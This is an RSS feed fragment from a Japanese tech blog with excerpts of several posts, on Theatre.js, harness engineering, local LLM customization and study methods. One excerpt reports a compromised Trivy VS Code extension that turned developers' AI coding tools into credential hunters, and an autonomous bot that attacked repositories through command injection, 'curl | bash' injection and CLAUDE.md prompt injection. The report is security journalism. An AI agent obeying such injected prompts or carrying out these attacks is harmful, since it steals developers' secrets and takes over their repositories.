+0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/theatre.js-gui-%E3%81%A7web%E3%82%A2%E3%83%8B%E3%83%A1%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E7%9B%B4%E6%84%9F%E7%9A%84%E3%81%AB%E4%BD%9C%E3%82%8C%E3%82%8B%E3%83%A2%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%82%A8%E3%83%87%E3%82%A3%E3%82%BF/</guid><description>&lt;h1 id="theatrejs--gui-でwebアニメーションを直感的に作れるモーションデザインエディタ"&gt;Theatre.js — GUI でWebアニメーションを直感的に作れるモーションデザインエディタ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/shiba_program/status/2028787478908502388"&gt;しば（@shiba_program）氏のポスト&lt;/a&gt;が、GUI でWebアニメーションを作成できる JavaScript ライブラリ「Theatre.js」を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GUIで直感的にWebアニメーションが作れる「theatre.js」すごいな。編集した内容が即座に反映されるので、これは微調整捗る。GUIで編集できるから、デザイナーに調整任せることもできそう。デモにある高度なものだけでなく、Webサイトで使うシンプルなアニメーションの作成もかなり楽にしてくれるはず
— しば（@shiba_program）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;投稿が注目している「デザイナーに調整を任せられる」という点は、Theatre.js の設計思想の核心です。コードでアニメーション対象を定義し、ブラウザ上の GUI エディタで動きを調整する。このワークフローにより、エンジニアとデザイナーの協業が自然に成立します。&lt;/p&gt;
&lt;h2 id="theatrejs-とは何か"&gt;Theatre.js とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.theatrejs.com/"&gt;Theatre.js&lt;/a&gt; はフィンランド・ヘルシンキの Theatre.js Oy が開発するオープンソースの Web モーションデザインライブラリです。GitHub Stars 12.2k、1,600以上のプロジェクトが依存しており、Web アニメーション領域で確固たる地位を築いています。&lt;/p&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発元&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Theatre.js Oy（ヘルシンキ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Apache 2.0（@theatre/core）/ AGPL 3.0（@theatre/studio）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;言語&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TypeScript 82.6%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub Stars&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12.2k&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;現バージョン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.5（1.0 開発中）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対応技術&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Three.js、React Three Fiber、HTML/SVG、任意のJSライブラリ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="2つのパッケージ構成"&gt;2つのパッケージ構成&lt;/h3&gt;
&lt;p&gt;Theatre.js は2つの独立したパッケージで構成されます。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;パッケージ&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;th&gt;使用場面&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@theatre/core&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;アニメーション再生エンジン&lt;/td&gt;
&lt;td&gt;開発・本番の両方&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;@theatre/studio&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GUI エディタ（シーケンスエディタ、グラフエディタ、プロパティパネル）&lt;/td&gt;
&lt;td&gt;開発時のみ&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この分離設計が重要です。Studio は開発時にのみ使い、本番ビルドには core だけを含めます。エディタのコードが本番バンドルに入らないため、パフォーマンスへの影響はありません。&lt;/p&gt;
&lt;h2 id="4つの基本概念"&gt;4つの基本概念&lt;/h2&gt;
&lt;p&gt;Theatre.js には、理解すべき4つの概念があります。&lt;/p&gt;</description></item><item><title>Trivy VS Code 拡張が改ざんされ、ローカル AI エージェントが認証情報を窃取 — hackerbot-claw の全貌</title><link>https://hdknr.github.io/blogs/posts/2026/03/trivy-vs-code-%E6%8B%A1%E5%BC%B5%E3%81%8C%E6%94%B9%E3%81%96%E3%82%93%E3%81%95%E3%82%8C%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E8%AA%8D%E8%A8%BC%E6%83%85%E5%A0%B1%E3%82%92%E7%AA%83%E5%8F%96-hackerbot-claw-%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/trivy-vs-code-%E6%8B%A1%E5%BC%B5%E3%81%8C%E6%94%B9%E3%81%96%E3%82%93%E3%81%95%E3%82%8C%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E8%AA%8D%E8%A8%BC%E6%83%85%E5%A0%B1%E3%82%92%E7%AA%83%E5%8F%96-hackerbot-claw-%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>&lt;h1 id="trivy-vs-code-拡張が改ざんされローカル-ai-エージェントが認証情報を窃取--hackerbot-claw-の全貌"&gt;Trivy VS Code 拡張が改ざんされ、ローカル AI エージェントが認証情報を窃取 — hackerbot-claw の全貌&lt;/h1&gt;
&lt;p&gt;セキュリティ研究者の&lt;a href="https://x.com/yousukezan/status/2028747212793188583"&gt;yousukezan氏&lt;/a&gt;が、Aqua Security の脆弱性スキャナー「Trivy」の VS Code 拡張が改ざんされ、開発者のローカル AI コーディングツールを悪用して認証情報を窃取するサプライチェーン攻撃を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Aqua Trivy VS Code拡張が改ざんされ、AIコーディング支援ツールを悪用する異例のサプライチェーン攻撃が発覚した。正規機能を装いながら裏で認証情報を収集する手口で、被害はGitHubリポジトリの乗っ取りにも及んだ。
— yousukezan&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この事件の異例な点は、従来のマルウェアやバックドアではなく、&lt;strong&gt;開発者のマシンに既にインストールされている AI コーディングツールを武器として利用した&lt;/strong&gt;ことです。Claude、Codex、Gemini、GitHub Copilot CLI、Kiro CLI を最大権限で呼び出し、自然言語プロンプトで機密情報を探索させるという、AI 時代に固有の新しい攻撃ベクターです。&lt;/p&gt;
&lt;h2 id="事件の全体像"&gt;事件の全体像&lt;/h2&gt;
&lt;p&gt;この攻撃は、&lt;code&gt;hackerbot-claw&lt;/code&gt; と名乗る自律型 AI ボットによる大規模キャンペーンの一部です。2026年2月21日〜28日の間に、Microsoft、DataDog、CNCF プロジェクトなど少なくとも7つの主要リポジトリが標的となりました。&lt;/p&gt;
&lt;h3 id="影響を受けたリポジトリ"&gt;影響を受けたリポジトリ&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;リポジトリ&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;攻撃手法&lt;/th&gt;
&lt;th&gt;結果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;aquasecurity/trivy&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;25k+&lt;/td&gt;
&lt;td&gt;pull_request_target 悪用&lt;/td&gt;
&lt;td&gt;PAT 窃取、リポジトリ乗っ取り&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;avelino/awesome-go&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;140k+&lt;/td&gt;
&lt;td&gt;Go init() 関数にペイロード注入&lt;/td&gt;
&lt;td&gt;GITHUB_TOKEN 窃取&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;microsoft/ai-discovery-agent&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;ブランチ名コマンドインジェクション&lt;/td&gt;
&lt;td&gt;RCE 達成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DataDog/datadog-iac-scanner&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;ファイル名ベースのインジェクション&lt;/td&gt;
&lt;td&gt;RCE 達成（9時間で修正）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ambient-code/platform&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;CLAUDE.md プロンプトインジェクション&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Claude が検出・拒否&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;project-akri/akri&lt;/strong&gt; (CNCF)&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;curl | bash 直接インジェクション&lt;/td&gt;
&lt;td&gt;RCE 達成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RustPython/RustPython&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;20k+&lt;/td&gt;
&lt;td&gt;Base64 ブランチインジェクション&lt;/td&gt;
&lt;td&gt;攻撃試行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="hackerbot-claw-の正体"&gt;hackerbot-claw の正体&lt;/h3&gt;
&lt;p&gt;hackerbot-claw は GitHub 上で自らを「autonomous security research agent powered by claude-opus-4-5」と名乗り、暗号通貨の寄付を募っています。README には9クラス・47サブパターンの「脆弱性パターンインデックス」を持ち、&lt;strong&gt;47,391リポジトリをスキャン済み&lt;/strong&gt;と記載されています。&lt;/p&gt;</description></item><item><title>ハーネスエンジニアリング実践知 — 「AIを使う人」と「AIを設計する人」の決定的な差</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E5%AE%9F%E8%B7%B5%E7%9F%A5-ai%E3%82%92%E4%BD%BF%E3%81%86%E4%BA%BA%E3%81%A8ai%E3%82%92%E8%A8%AD%E8%A8%88%E3%81%99%E3%82%8B%E4%BA%BA%E3%81%AE%E6%B1%BA%E5%AE%9A%E7%9A%84%E3%81%AA%E5%B7%AE/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%8F%E3%83%BC%E3%83%8D%E3%82%B9%E3%82%A8%E3%83%B3%E3%82%B8%E3%83%8B%E3%82%A2%E3%83%AA%E3%83%B3%E3%82%B0%E5%AE%9F%E8%B7%B5%E7%9F%A5-ai%E3%82%92%E4%BD%BF%E3%81%86%E4%BA%BA%E3%81%A8ai%E3%82%92%E8%A8%AD%E8%A8%88%E3%81%99%E3%82%8B%E4%BA%BA%E3%81%AE%E6%B1%BA%E5%AE%9A%E7%9A%84%E3%81%AA%E5%B7%AE/</guid><description>&lt;h1 id="ハーネスエンジニアリング実践知--aiを使う人とaiを設計する人の決定的な差"&gt;ハーネスエンジニアリング実践知 — 「AIを使う人」と「AIを設計する人」の決定的な差&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/AI_masaou"&gt;まさお(@AI_masaou)&lt;/a&gt; 氏が、Claude Code のハーネス（開発基盤）をテーマにした約 80 分の対談形式勉強会のまとめ記事を公開しました。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;新しい note を公開しました！ハーネスエンジニアリングに向き合う上で、実践的にはどうしているのか？の勉強会を行いましたのでそのまとめを記事にしました
— &lt;a href="https://x.com/AI_masaou/status/2029084400621953397"&gt;@AI_masaou&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;元記事（&lt;a href="https://note.com/masa_wunder/n/ndb0200f3a4b0"&gt;ハーネスエンジニアリングの実践知を共有！【質問/勉強会のまとめ】&lt;/a&gt;）は有料コンテンツのため、本記事ではテーマである&lt;strong&gt;ハーネスエンジニアリングの実践知&lt;/strong&gt;について、公開情報をもとに技術的な背景と具体的な手法を解説します。&lt;/p&gt;
&lt;h2 id="ハーネスエンジニアリングとは"&gt;ハーネスエンジニアリングとは&lt;/h2&gt;
&lt;p&gt;「ハーネス」とは馬具のことです。馬の力をそのまま放置すれば暴走しますが、ハーネスで制御すれば有用な仕事に変わります。AI エージェントも同じです。LLM の推論能力をそのまま使うのではなく、&lt;strong&gt;適切な制御基盤（ハーネス）で囲むことで信頼性の高い成果に変換する&lt;/strong&gt;のがハーネスエンジニアリングです。&lt;/p&gt;
&lt;p&gt;コンピュータの構成に対応させると、位置づけがわかりやすくなります。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;コンピュータ&lt;/th&gt;
&lt;th&gt;AI エージェント&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CPU&lt;/td&gt;
&lt;td&gt;LLM（推論エンジン）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OS&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;エージェントハーネス&lt;/strong&gt;（制御・管理基盤）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;アプリケーション&lt;/td&gt;
&lt;td&gt;AI エージェント（実行層）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;CPU がどれだけ高速でも、OS が適切に管理しなければアプリケーションは動きません。同様に、LLM がどれだけ賢くても、ハーネスの設計が悪ければエージェントの出力品質は上がりません。&lt;/p&gt;
&lt;h3 id="コンテキストエンジニアリングとの関係"&gt;コンテキストエンジニアリングとの関係&lt;/h3&gt;
&lt;p&gt;Andrej Karpathy が &lt;a href="https://x.com/karpathy/status/1937902205765607626"&gt;X で提唱した「コンテキストエンジニアリング」&lt;/a&gt; は、ハーネスエンジニアリングの中核概念です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Context engineering is the delicate art and science of filling the context window with just the right information for the next step.
— Andrej Karpathy&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;LLM のコンテキストウィンドウを「RAM」と捉え、&lt;strong&gt;次のステップに必要な最適な情報だけ&lt;/strong&gt;を入れる技術です。ハーネスエンジニアリングはこのコンテキスト管理の仕組み全体を包む上位概念にあたります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ハーネスエンジニアリング（全体設計）
├── コンテキストエンジニアリング（何を LLM に渡すか）
├── 権限制御（何を許可・禁止するか）
├── ライフサイクル自動化（いつ何を実行するか）
└── 並列実行・隔離（どう安全に並列化するか）
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="環境設計--モデル能力-openai-codex-チームの実証"&gt;「環境設計 &amp;gt; モデル能力」— OpenAI Codex チームの実証&lt;/h2&gt;
&lt;p&gt;ハーネスエンジニアリングの重要性を最も説得力をもって示したのが、OpenAI のエンジニアリングチームによる 5 ヶ月間の実験です。&lt;/p&gt;</description></item><item><title>ローカル LLM を金融取引の意思決定サポートに応用する — コードレビュー 4 段階カスタマイズの転用</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E3%82%92%E9%87%91%E8%9E%8D%E5%8F%96%E5%BC%95%E3%81%AE%E6%84%8F%E6%80%9D%E6%B1%BA%E5%AE%9A%E3%82%B5%E3%83%9D%E3%83%BC%E3%83%88%E3%81%AB%E5%BF%9C%E7%94%A8%E3%81%99%E3%82%8B-%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC-4-%E6%AE%B5%E9%9A%8E%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%9E%E3%82%A4%E3%82%BA%E3%81%AE%E8%BB%A2%E7%94%A8/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E3%82%92%E9%87%91%E8%9E%8D%E5%8F%96%E5%BC%95%E3%81%AE%E6%84%8F%E6%80%9D%E6%B1%BA%E5%AE%9A%E3%82%B5%E3%83%9D%E3%83%BC%E3%83%88%E3%81%AB%E5%BF%9C%E7%94%A8%E3%81%99%E3%82%8B-%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC-4-%E6%AE%B5%E9%9A%8E%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%9E%E3%82%A4%E3%82%BA%E3%81%AE%E8%BB%A2%E7%94%A8/</guid><description>&lt;h1 id="ローカル-llm-を金融取引の意思決定サポートに応用する--コードレビュー-4-段階カスタマイズの転用"&gt;ローカル LLM を金融取引の意思決定サポートに応用する — コードレビュー 4 段階カスタマイズの転用&lt;/h1&gt;
&lt;p&gt;前回の記事では、ローカル LLM（Ollama + Qwen3）を社内コードレビューに特化させる 4 段階のカスタマイズ手法を紹介しました。この仕組みは&lt;strong&gt;金融取引の意思決定サポート&lt;/strong&gt;にもそのまま応用できます。&lt;/p&gt;
&lt;p&gt;個人投資家が株式や BTC などの売買判断を行う際に、ニュース分析・テクニカル指標の解釈・リスク評価を&lt;strong&gt;自分の PC 上で、自分の投資ルールに基づいて&lt;/strong&gt;AI に補助させる構成です。&lt;/p&gt;
&lt;h2 id="なぜローカル-llm-が金融取引に向いているのか"&gt;なぜローカル LLM が金融取引に向いているのか&lt;/h2&gt;
&lt;p&gt;金融取引は、AI の活用にローカル環境が特に適している分野です。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;利点&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;プライバシー&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ポートフォリオ・売買履歴・資産額をクラウドに送信しない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;コスト&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;毎日の市場分析やニュース要約を API 課金なしで実行可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;カスタマイズ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;自分の投資スタイル・リスク許容度に完全に特化できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;速度&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ネットワーク遅延がなく、市場の急変時にも即座に分析可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;独立性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;API 障害やサービス停止の影響を受けない&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;2024 年末時点で個人がビットコインの発行上限の約 69% を保有しており、個人投資家にとって&lt;strong&gt;自分だけの分析ツール&lt;/strong&gt;を持つ意義はますます大きくなっています。&lt;/p&gt;
&lt;h2 id="コードレビューから金融取引への対応表"&gt;コードレビューから金融取引への対応表&lt;/h2&gt;
&lt;p&gt;前回の記事の 4 段階がどのように転用できるかを整理します。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;コードレビュー&lt;/th&gt;
&lt;th&gt;金融取引サポート&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1. Modelfile&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;コーディング規約を教える&lt;/td&gt;
&lt;td&gt;売買ルール・リスク管理ルールを教える&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2. RAG&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;障害報告・設計書を検索&lt;/td&gt;
&lt;td&gt;決算短信・ニュース・四季報を検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3. Few-shot&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;過去のレビュー事例を見せる&lt;/td&gt;
&lt;td&gt;過去の売買判断の成功/失敗事例を見せる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4. LoRA&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PR レビュー履歴で再訓練&lt;/td&gt;
&lt;td&gt;金融センチメント分析データで再訓練&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;レベル 1：投資ルールを「教える」 ← すぐできる
レベル 2：市場情報を「渡す」 ← 1〜2日
レベル 3：売買パターンを「見せる」 ← 数日
レベル 4：金融の頭脳を「鍛える」 ← 1〜2週間
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="レベル-1modelfile-に投資ルールを埋め込む即日導入"&gt;レベル 1：Modelfile に投資ルールを埋め込む（即日導入）&lt;/h2&gt;
&lt;p&gt;自分の投資ルール・リスク管理基準をシステムプロンプトとして設定します。&lt;/p&gt;</description></item><item><title>ローカル LLM を社内業務に特化させる 4 段階カスタマイズ — Qwen3 を「より賢く」する仕組み</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E3%82%92%E7%A4%BE%E5%86%85%E6%A5%AD%E5%8B%99%E3%81%AB%E7%89%B9%E5%8C%96%E3%81%95%E3%81%9B%E3%82%8B-4-%E6%AE%B5%E9%9A%8E%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%9E%E3%82%A4%E3%82%BA-qwen3-%E3%82%92%E3%82%88%E3%82%8A%E8%B3%A2%E3%81%8F%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%AB-llm-%E3%82%92%E7%A4%BE%E5%86%85%E6%A5%AD%E5%8B%99%E3%81%AB%E7%89%B9%E5%8C%96%E3%81%95%E3%81%9B%E3%82%8B-4-%E6%AE%B5%E9%9A%8E%E3%82%AB%E3%82%B9%E3%82%BF%E3%83%9E%E3%82%A4%E3%82%BA-qwen3-%E3%82%92%E3%82%88%E3%82%8A%E8%B3%A2%E3%81%8F%E3%81%99%E3%82%8B%E4%BB%95%E7%B5%84%E3%81%BF/</guid><description>&lt;h1 id="ローカル-llm-を社内業務に特化させる-4-段階カスタマイズ--qwen3-をより賢くする仕組み"&gt;ローカル LLM を社内業務に特化させる 4 段階カスタマイズ — Qwen3 を「より賢く」する仕組み&lt;/h1&gt;
&lt;p&gt;Claude Code で生成したコードをローカル LLM（Ollama + Qwen3）でレビューする構成を前回の記事で紹介しました。しかし、汎用モデルのままでは「受注ステータスの遷移ルール」や「金額計算に float を使ってはならない」といった&lt;strong&gt;社内固有のルール&lt;/strong&gt;を知りません。&lt;/p&gt;
&lt;p&gt;この記事では、Qwen3 を社内業務に特化させ、特定のコーディング規約・業務ルール・過去の障害パターンを踏まえたレビューができるようにする 4 段階のカスタマイズ手法を紹介します。&lt;/p&gt;
&lt;h2 id="全体像4-段階のカスタマイズ"&gt;全体像：4 段階のカスタマイズ&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;レベル&lt;/th&gt;
&lt;th&gt;手法&lt;/th&gt;
&lt;th&gt;導入期間&lt;/th&gt;
&lt;th&gt;効果&lt;/th&gt;
&lt;th&gt;専門知識&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Modelfile（システムプロンプト）&lt;/td&gt;
&lt;td&gt;即日&lt;/td&gt;
&lt;td&gt;ルールベースの指摘&lt;/td&gt;
&lt;td&gt;不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RAG（社内ドキュメント検索）&lt;/td&gt;
&lt;td&gt;1〜2 日&lt;/td&gt;
&lt;td&gt;文脈を踏まえた指摘&lt;/td&gt;
&lt;td&gt;Docker の基本&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Few-shot（レビュー事例の学習）&lt;/td&gt;
&lt;td&gt;数日&lt;/td&gt;
&lt;td&gt;パターン認識の向上&lt;/td&gt;
&lt;td&gt;不要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;LoRA ファインチューニング&lt;/td&gt;
&lt;td&gt;1〜2 週間&lt;/td&gt;
&lt;td&gt;モデル自体の精度向上&lt;/td&gt;
&lt;td&gt;Python・ML の基本&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;レベル 1：ルールを「教える」 ← すぐできる
レベル 2：資料を「渡す」 ← 1〜2日
レベル 3：お手本を「見せる」 ← 数日
レベル 4：頭脳を「鍛える」 ← 1〜2週間
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;推奨&lt;/strong&gt;: レベル 1 から順に導入し、効果を確認しながらステップアップしてください。多くの場合、レベル 1 + 2 で十分な精度が得られます。&lt;/p&gt;</description></item><item><title>科学が格付けした10の勉強法 --- 100年の研究が示す「想起練習」と「分散学習」の圧倒的効果</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%A7%91%E5%AD%A6%E3%81%8C%E6%A0%BC%E4%BB%98%E3%81%91%E3%81%97%E3%81%9F10%E3%81%AE%E5%8B%89%E5%BC%B7%E6%B3%95---100%E5%B9%B4%E3%81%AE%E7%A0%94%E7%A9%B6%E3%81%8C%E7%A4%BA%E3%81%99%E6%83%B3%E8%B5%B7%E7%B7%B4%E7%BF%92%E3%81%A8%E5%88%86%E6%95%A3%E5%AD%A6%E7%BF%92%E3%81%AE%E5%9C%A7%E5%80%92%E7%9A%84%E5%8A%B9%E6%9E%9C/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%A7%91%E5%AD%A6%E3%81%8C%E6%A0%BC%E4%BB%98%E3%81%91%E3%81%97%E3%81%9F10%E3%81%AE%E5%8B%89%E5%BC%B7%E6%B3%95---100%E5%B9%B4%E3%81%AE%E7%A0%94%E7%A9%B6%E3%81%8C%E7%A4%BA%E3%81%99%E6%83%B3%E8%B5%B7%E7%B7%B4%E7%BF%92%E3%81%A8%E5%88%86%E6%95%A3%E5%AD%A6%E7%BF%92%E3%81%AE%E5%9C%A7%E5%80%92%E7%9A%84%E5%8A%B9%E6%9E%9C/</guid><description>&lt;h1 id="科学が格付けした-10-の勉強法--100-年の研究が示す想起練習と分散学習の圧倒的効果"&gt;科学が格付けした 10 の勉強法 &amp;mdash; 100 年の研究が示す「想起練習」と「分散学習」の圧倒的効果&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/grandchildrice/status/2028831828698976480"&gt;@grandchildrice 氏が X で投稿&lt;/a&gt;した、勉強法の科学的格付けに関するポストが反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
